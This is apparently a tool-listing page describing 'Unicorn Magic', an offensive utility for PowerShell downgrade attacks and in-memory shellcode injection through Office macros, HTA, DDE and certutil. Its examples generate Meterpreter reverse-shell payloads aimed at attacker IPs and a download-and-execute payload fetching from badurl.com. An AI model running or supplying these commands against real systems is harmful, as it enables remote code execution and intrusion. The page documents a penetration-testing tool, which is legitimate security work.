Exploitationpowershellinjectionshellcodedowngrademetasploitmacrohtadde

Unicorn Magic

Unicorn Magic is a tool for performing PowerShell downgrade attacks and injecting shellcode directly into memory. It generates PowerShell commands for payloads like Meterpreter or download/exec, usable in various attack vectors including macros, HTA, and DDE.

Description

Unicorn Magic provides a simple method to execute PowerShell downgrade attacks based on techniques by Matthew Graeber, David Kennedy, and Josh Kelly. It generates ready-to-use PowerShell code for injecting shellcode into memory, supporting Metasploit payloads and windows/download_exec. Output files include powershell_attack.txt with the injection code and unicorn.rc for Metasploit listeners. Use cases include remote command injection via Excel/Word docs, psexec, SQLi, or other delivery systems.

The tool supports multiple attack vectors: Office macros (Auto_Open or AutoOpen), HTA files (index.html and Launcher.hta), certutil for binary transfer via base64, custom PS1 encoding, DDE Office COM for macro-less execution, and Cobalt Strike beacon import. For macros, enable Developer tab in Office; for HTA, users must allow content; DDE requires hosting a download.ps1 file. Custom shellcode and SettingContent-ms generation are also available.

It requires Metasploit for certain payloads and works on native x86 Windows platforms. Generated code often bypasses restrictions using techniques like IEX for downloads and command masking.

How It Works

Unicorn Magic leverages PowerShell downgrade attacks to bypass execution policies and inject shellcode into memory without dropping files. It parses Metasploit payloads or custom shellcode (hex format like 0x00 or raw), encodes them into PowerShell scripts using techniques from Graeber's attacks. For vectors like macro/HTA/DDE, it formats code for VBA, HTML applications, or Office field formulas. Listeners are set via unicorn.rc in msfconsole. Download_exec fetches and runs remote payloads; certutil converts base64 binaries; DDE uses COM objects like DDEInitialize/DDEExecute for RCE.

Installation

bash
sudo apt install unicorn-magic

Flags

--helpDisplays the help menu and usage instructions

Examples

Generates PowerShell attack for Meterpreter reverse HTTPS payload
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
Generates PowerShell download and execute payload from URL
python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Generates macro version for Office Auto_Open with Meterpreter payload
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Generates HTA attack files (index.html, Launcher.hta, unicorn.rc)
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
Generates DDE Office COM attack formula for macro-less RCE
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde
Encodes executable to base64 certutil format for binary transfer
python unicorn.py <path_to_payload/exe_encode> crt
Converts custom PS1 file to encoded PowerShell command
python unicorn.py harmless.ps1
Imports Cobalt Strike C# beacon shellcode for PowerShell injection
python unicorn.py <cobalt_strike_file.cs> cs
Updated 2026-04-16kali.org ↗